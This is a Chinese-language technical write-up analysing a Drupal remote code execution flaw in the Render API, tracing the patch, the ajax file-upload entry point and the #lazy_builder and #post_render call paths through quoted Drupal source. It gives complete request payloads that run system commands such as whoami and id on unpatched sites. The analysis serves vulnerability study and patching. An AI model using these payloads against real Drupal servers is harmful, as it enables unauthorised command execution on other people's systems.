前言

这个漏洞从预警到批露再到利用,属实是饱受关注。个人也一直在关注这个漏洞,无奈琐事比较多,直到最近才静下心来好好分析一下。托drupal的福,一直用静态审计的老顽固终于含泪走上了动态审计的道路,2333。

漏洞分析

漏洞触发点

drupal官方在漏洞爆出后,增加了一个RequestSanitizer 类,其中的stripDangerousValues 函数将请求中#开头的参数进行了过滤。

core/lib/Drupal/Core/Security/RequestSanitizer.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
if (is_array($input)) {
foreach ($input as $key => $value) {
if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
unset($input[$key]);
$sanitized_keys[] = $key;
}
else {
$input[$key] = static::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
}
}
}
return $input;
}

根据补丁可以猜测是#开头的参数可控导致的漏洞,通过查阅文档得知,drupal的Render API对#开头的参数会有特殊处理。进一步查看代码,对于#post_render #pre_render等,会使用call_user_func进行调用。

core/lib/Drupal/Core/Render/Render.php 373-380行

1
2
3
4
5
6
7
8
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}

如果我们找到可控点,就可以构造任意代码执行。但是官方并没有在出现漏洞的地方进行修补,而是增加了一个类似于全局的过滤,无疑大大提高了审计的难度,感受到了drupal官方满满的恶意。。。

漏洞入口点

漏洞入口点在用户注册页面的ajax上传处,定位代码:

core/modules/file/src/Element/MangedFile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* #ajax callback for managed_file upload forms.
*
* This ajax callback takes care of the following things:
* - Ensures that broken requests due to too big files are caught.
* - Adds a class to the response to be able to highlight in the UI, that a
* new file got uploaded.
*
* @param array $form
* The build form.
* @param \Drupal\Core\Form\FormStateInterface $form_state
* The form state.
* @param \Symfony\Component\HttpFoundation\Request $request
* The current request.
*
* @return \Drupal\Core\Ajax\AjaxResponse
* The ajax response of the ajax upload.
*/
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
/** @var \Drupal\Core\Render\RendererInterface $renderer */
$renderer = \Drupal::service('renderer');

$form_parents = explode('/', $request->query->get('element_parents'));

// Retrieve the element to be rendered.
$form = NestedArray::getValue($form, $form_parents);

/*省略*/
}

先看看正常上传form数组是什么样子的

mark

mark

mark

可以看到$form['account']['mail']['#value']就是我们传入的值,即mail变量是可控的。根绝上面的分析,我们需要构造mail[#pre_render][]=my_func去触发call_user_func来执行代码。接下来$form进入了NestedArray::getValue函数,跟进看一下:

core/lib/Drupal/Component/Utility/NestedArray.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
$ref = &$array;
foreach ($parents as $parent) {
if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
$ref = &$ref[$parent];
}
else {
$key_exists = FALSE;
$null = NULL;
return $null;
}
}
$key_exists = TRUE;
return $ref;
}

这个函数的作用举个简单的例子来说明:

1
2
3
4
5
6
7
8
9
10
$array = array(
'a'=> array(
'b'=> array(
'c'=> 'hah'
),
),
);
$parents = explode('/', 'a/b/c');
$res = getValue($array, $parents);
//$res的值为hah

值得注意的是$form_parents = explode('/', $request->query->get('element_parents'));是可控的,我们可以让element_parents=account/mail/#value覆盖整个$form数组,只保留我们可控的部分。

mark

mark

可以看到此时$form数组已经被覆盖掉了,只剩下我们传入的值。

这里会有一个疑问,name参数也是可控的,为什么不用它呢?这是因为$form["account"]["name"]["#type"]="textfeild",在尝试注入数组时会被转化字符串而失败。

漏洞利用

虽然我们通过上面方式得到了一个完全可控的数组,但是在下面的操作中又会拼接上一些东西,导致恶意代码无法执行。

依然是core/modules/file/src/Element/MangedFile.phpuploadAjaxCallback函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
// Add the special AJAX class if a new file was added.
$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']{
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}

$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

可以看到$form在增加了#suffix和#prefix元素之后进入了renderRoot函数。经过一系列调用之后,进入了core/lib/Drupal/Core/Render/Render.phpdoRender函数。

这个函数有350多行,篇幅问题就不全部贴在这里了。这个函数就是用来处理#开头的参数的,我们的最终目的是触发call_user_func*来执行任意代码,既然#pre_render不符合条件,那我们就找其他的。经过搜索,在这个函数中调用了call_user_func*()的参数有#access_callback、#lazy_builder、#pre_render、#post_render

可以利用的是#lazy_builder#post_render ,利用方式又不一样,下面分别看一下。

#lazy_builder

core/lib/Drupal/Core/Render/Render.php 351-358行

1
2
3
4
5
6
7
8
9
10
11
12
13
// Build the element if it is still empty.
if (isset($elements['#lazy_builder'])) {
$callable = $elements['#lazy_builder'][0];
$args = $elements['#lazy_builder'][1];
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$new_elements = call_user_func_array($callable, $args);
CacheableMetadata::createFromRenderArray($elements)
->merge(CacheableMetadata::createFromRenderArray($new_elements))//$new_elements必须为数组,否则报错
->applyTo($new_elements);
/*省略部分*/
}

$elements就是之前的$form数组,看起来比较容易构造,但是前面还有一些限制。

core/lib/Drupal/Core/Render/Render.php 321-324行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$supported_keys = [
'#lazy_builder',
'#cache',
'#create_placeholder',
// The keys below are not actually supported, but these are added
// automatically by the Renderer. Adding them as though they are
// supported allows us to avoid throwing an exception 100% of the time.
'#weight',
'#printed'
];
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
if (count($unsupported_keys)) {
throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
}

意思是数组的key只能是这些值,由于之前拼接了#suffix和#prefix,导致此处无法利用,如何绕过这里的限制呢?

继续往下翻:

1
2
3
4
5
6
7
8
$children = Element::children($elements, TRUE);
/*省略部分*/
if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) {
foreach ($children as $key) {
$elements['#children'] .= $this->doRender($elements[$key]);
}
$elements['#children'] = Markup::create($elements['#children']);
}

core/lib/Drupal/Core/Render/Element.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public static function children(array &$elements, $sort = FALSE) {
// Do not attempt to sort elements which have already been sorted.
$sort = isset($elements['#sorted']) ? !$elements['#sorted'] : $sort;

// Filter out properties from the element, leaving only children.
$count = count($elements);
$child_weights = [];
$i = 0;
$sortable = FALSE;
foreach ($elements as $key => $value) {
if ($key === '' || $key[0] !== '#') {
if (is_array($value)) {
if (isset($value['#weight'])) {
$weight = $value['#weight'];
$sortable = TRUE;
}
else {
$weight = 0;
}
// Supports weight with up to three digit precision and conserve
// the insertion order.
$child_weights[$key] = floor($weight * 1000) + $i / $count;
}
// Only trigger an error if the value is not null.
// @see https://www.drupal.org/node/1283892
elseif (isset($value)) {
trigger_error(SafeMarkup::format('"@key" is an invalid render array key', ['@key' => $key]), E_USER_ERROR);
}
}
$i++;
}

// Sort the children if necessary.
if ($sort && $sortable) {
asort($child_weights);
// Put the sorted children back into $elements in the correct order, to
// preserve sorting if the same element is passed through
// \Drupal\Core\Render\Element::children() twice.
foreach ($child_weights as $key => $weight) {
$value = $elements[$key];
unset($elements[$key]);
$elements[$key] = $value;
}
$elements['#sorted'] = TRUE;
}

return array_keys($child_weights);
}

这里是针对前面没有#的参数,会当作子元素处理。最终会将子元素遍历,再次传入doRender函数中。

传入mail[a][#lazy_builder][0]=exec&mail[a][#lazy_builder][1][]=whoami即可在第二次进入doRender函数时得到一个完全可控的数组。

mark

由于下面的操作要去$new_elements必须为数组,所以页面会报错导致无法回显。

#post_render

与上面相比,#post-render的局限性会大一点,因为他只能执行有两个参数的函数。

1
2
3
4
5
6
7
8
if (isset($elements['#post_render'])) {
foreach ($elements['#post_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
}
}

能够执行命令并且接受两个参数的函数只有exec,payload也比较好构造,没有什么限制。

mail[#post_render][]=exec&mail[#children]=id

但是这个payload只在linux下生效

mark

在windows下会报Parameter 2 to exec() expected to be a reference, value given的错误,具体底层的原因也没在深究,先这样吧:p

漏洞防御

按照官方要求更新就完事了。